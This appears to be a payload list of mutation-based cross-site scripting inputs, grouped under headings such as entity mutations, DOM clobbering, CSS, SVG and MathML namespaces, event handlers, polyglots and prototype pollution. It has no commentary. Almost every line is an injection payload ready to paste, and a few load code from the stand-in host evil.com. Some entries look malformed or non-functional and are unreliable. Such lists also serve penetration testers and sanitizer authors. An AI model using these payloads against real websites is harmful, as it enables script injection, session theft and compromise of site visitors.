# Mutation XSS (mXSS) Payloads
# HTML Mutation-based Cross-Site Scripting payloads

# HTML ENTITY MUTATIONS

# Left angle bracket mutations
&lt;script&gt;alert(1)&lt;/script&gt;
&#60;script&#62;alert(1)&#60;/script&#62;
%3Cscript%3Ealert(1)%3C/script%3E
&colon;script&colon;alert(1)&colon;/script&colon;

# Attribute mutations
&quot; onmouseover=&quot;alert(1)
&#34; onmouseover=&#34;alert(1)
&equals; onerror&equals;alert(1)

# Nested entity mutations
&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;
&amp;#60;script&amp;#62;alert(1)&amp;#60;/script&amp;#62;
&amp;quot; onmouseover=&amp;quot;alert(1)

# HTML PARSING MUTATIONS

# Tag mutations through parsing
<xmp><script>alert(1)</script></xmp>
<listing><script>alert(1)</script></listing>
<image><script>alert(1)</script></image>
<noembed><script>alert(1)</script></noembed>
<noscript><script>alert(1)</script></noscript>

# Self-closing tag mutations
<br><script>alert(1)</script><br/>
<p><script>alert(1)</script></p>
<div><script>alert(1)</script></div>

# Comment-based mutations
<!--<script>alert(1)</script>-->
<!--<script><!--alert(1)</script>-->
<!-- --><script>alert(1)</script><!-- -->
<!--><script>alert(1)</script><!-->

# Attribute value mutations
<a href="java&#115;cript:alert(1)">click</a>
<a href="java\00006script:alert(1)">click</a>
<a href="javasc\x00ript:alert(1)">click</a>
<a href="javasc&#97;ript:alert(1)">click</a>

# Case mutation in attribute names
<IMG SRC=x ONERROR=alert(1)>
<iMg SrC=x oNeRrOr=alert(1)>
<input type=text value="x" onfocus="alert(1)" autofocus>

# DOM CLOBBERING PAYLOADS

# Form clobbering
<form id="test"><input name="parentNode"></form>
<form id="test"><input name="parentNode" value="alert(1)"></form>
<form id="test"><input name="location"></form>
<form id="x"><input name="parentNode" form="x"></form>
<form id="config"><input name="src" value="javascript:alert(1)"></form>

# Element clobbering
<div id="test"></div><div id="test">a</div>
<a id="location" href="javascript:alert(1)">x</a>
<a id="document" href="javascript:alert(1)">x</a>
<a id="window" href="javascript:alert(1)">x</a>

# Name collection clobbering
<input name="createElement">
<input name="getElementById">
<input name="querySelector">
<input name="querySelectorAll">

# Window properties clobbering
<a id="location" href="javascript:alert(1)">link</a>
<a id="opener" href="javascript:alert(1)">link</a>
<a id="parent" href="javascript:alert(1)">link</a>
<a id="top" href="javascript:alert(1)">link</a>

# Advanced DOM clobbering
<form id="test"><input name="createElement"><input name="getElementById"></form>
<form id="x"><input name="parentNode" form="x"></form>
<form id="body"><input name="innerHTML"></form>
<form id="head"><input name="innerHTML"></form>

# Radio button clobbering
<input type="radio" name="test" value="a"><input type="radio" name="test" value="b">
<input type="radio" name="elements" value="alert(1)">

# CSS-BASED MUTATIONS

# Expression (IE only)
xss:expression(alert(1))
css:expression(alert(1))
background:xss:expression(alert(1))

# CSS injection
</style><script>alert(1)</script><style>
@import "javascript:alert(1)";
@import 'javascript:alert(1)';
@import url("javascript:alert(1)");

# Base href mutation
<base href="javascript:alert(1)//">
<base href="data:text/html,<script>alert(1)</script>">
<base href="https://evil.com/">

# Link header
<link rel="stylesheet" href="javascript:alert(1)">
<link rel="stylesheet" href="data:text/css,alert(1)">

# Style attribute mutations
<div style="background:url('x'onerror=alert('XSS'))">
<div style="-moz-binding:url(http://evil.com/xbl.xml#xss)">
<div style="behavior:url(#default#AnchorClick)">hack</div>

# NAMESPACE MUTATIONS

# SVG mutations
<svg><script>alert(1)</script></svg>
<svg><foreignObject><script>alert(1)</script></foreignObject></svg>
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>

# MathML mutations
<math><script>alert(1)</script></math>
<math><maction actiontype="statusline#http://google.com" onclick="alert(1)">Click</maction></math>
<math><style><script>alert(1)</script></style></math>

# HTML+SVG namespace confusion
<html><body><svg><script>alert(1)</script></svg></body></html>
<svg><body><script>alert(1)</script></body></svg>

# XLink namespace
<svg><a xlink:href="javascript:alert(1)">click</a></svg>
<svg><script xlink:href="data:text/javascript,alert(1)"></script></svg>

# ATTRIBUTE MUTATIONS

# Event handler mutations
onmouseover=alert(1)
onfocus=alert(1) autofocus
onmouseenter=alert(1)
onmouseleave=alert(1)
onload=alert(1)
onerror=alert(1)
onclick=alert(1)
ondblclick=alert(1)
onmousedown=alert(1)
onmouseup=alert(1)
onmousemove=alert(1)
onkeydown=alert(1)
onkeypress=alert(1)
onkeyup=alert(1)
ontouchstart=alert(1)

# Href mutations
javascript:alert(1)
data:text/html,<script>alert(1)</script>
vbscript:alert(1)
file:javascript:alert(1)

# Src mutations
x onerror=alert(1)
" onerror="alert(1)
' onerror='alert(1)
x onerror="alert(1)"

# Action mutations
javascript:alert(1)
" action="javascript:alert(1)

# Formaction mutations
<form><button formaction="javascript:alert(1)">click</button></form>
<input type="submit" formaction="javascript:alert(1)">

# AUTOCOMPLETE / AUTOFOCUS MUTATIONS
<input type=text autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)><option>1</option></select>
<textarea autofocus onfocus=alert(1)></textarea>

# DETAILS/SUMMARY TAG MUTATIONS
<details open ontoggle=alert(1)>
<details><summary onclick=alert(1)>click</summary></details>

# AUDIO/VIDEO TAG MUTATIONS
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<video><source src=x onerror=alert(1)"></video>

# OBJECT/EMBED MUTATIONS
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">
<applet code="javascript:alert(1)">

# IFRAME MUTATIONS
<iframe src="javascript:alert(1)"></iframe>
<iframe srcdoc="<script>alert(1)</script>"></iframe>
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>

# BROWSER-SPECIFIC MUTATIONS

# IE-specific
<xml id="xss"><script>alert(1)</script></xml>
<xml id="xss" src="xss.html"></xml>
<html xmlns:xss><xss:script>alert(1)</xss:script></html>
<div style="xss:expression(alert(1))">

# Firefox-specific
<div style="-moz-binding:url(http://evil.com/xbl.xml#xss)">
<x-meta http-equiv="Content-Security-Policy" content="script-src *">

# Chrome-specific
<details open ontoggle=alert(1)>
<template><script>alert(1)</script></template>

# Safari-specific
<xmp><script>alert(1)</script></xmp>

# Opera-specific
<link rel="stylesheet" href="javascript:alert(1)">

# CONTENT-TYPE MUTATIONS

# XHTML mutations
<?xml version="1.0"?><html:script xmlns:html="http://www.w3.org/1999/xhtml">alert(1)</html:script>

# MathML mutations
<math><script>alert(1)</script></math>
<math><maction actiontype="statusline" onclick="alert(1)">Click</maction></math>

# SVG+XHTML mutations
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>

# POLYGLOT MUTATIONS

# Works in HTML and JavaScript
javascript://%250Aalert(1)//%250A?javascript://alert(1)//%0A

# Works in multiple tag contexts
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

# Universal mutation
<!--%3Cscript%3Ealert(1)%3C/script%3E-->
&%2360;script&%2362;alert(1)&%2360;/script&%2362;

# PROTOTYPE POLLUTION MUTATIONS

# Object prototype pollution
{"__proto__":{"polluted":true}}
{"constructor":{"prototype":{"x":"alert(1)"}}
{"__proto__":{"innerHTML":"<script>alert(1)</script>"}}

# Merge-based pollution
{"a":"b","__proto__":{"x":"alert(1)"}}
{"__proto__":{"src":"javascript:alert(1)"}}

# SELF-CLOSING TAG MUTATIONS
<br/><script>alert(1)</script>
<img/><script>alert(1)</script>
<input/><script>alert(1)</script>

# TABLE MUTATIONS
<table><background="javascript:alert(1)"><td>text</td></table>
<table><td background="javascript:alert(1)">text</td></table>

# MARQUEE MUTATIONS
<marquee onstart=alert(1)>text</marquee>
<marquee behavior=alternate onstart=alert(1)>

# ISINDEX MUTATIONS
<isindex action="javascript:alert(1)" type=submit>
<isindex formaction="javascript:alert(1)">

# BUTTON MUTATIONS
<button form="x" formaction="javascript:alert(1)">click</button>
<button x form="x">alert(1)</button>

# FRAME/FRAMESET MUTATIONS
<frame src="javascript:alert(1)">
<frameset><frame src="javascript:alert(1)"></frameset>
<iframe src="javascript:alert(1)">

# LINK MUTATIONS
<link rel=stylesheet href="javascript:alert(1)">
<link rel=icon href="javascript:alert(1)">
<link rel=prefetch href="javascript:alert(1)">

# META MUTATIONS
<meta http-equiv="refresh" content="0;url=javascript:alert(1)">
<meta http-equiv="Link" content="<javascript:alert(1)>; rel=stylesheet">
<meta charset="x-javascript:alert(1)">

# MUTATION VIA WHITESPACE
<a href=javas&#99;ript:alert(1)>click</a>
<a href=javas
cript:alert(1)>click</a>
<a href=javas	cript:alert(1)>click</a>

# NULL BYTE MUTATIONS
<a href="javascript:alert(1)%00">click</a>
<img src="x%00" onerror="alert(1)">

# UNICODE MUTATIONS
<a href="\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074:\u0061\u006c\u0065\u0072\u0074(1)">click</a>
<\u0069mg src=x onerror=\u0061lert(1)>
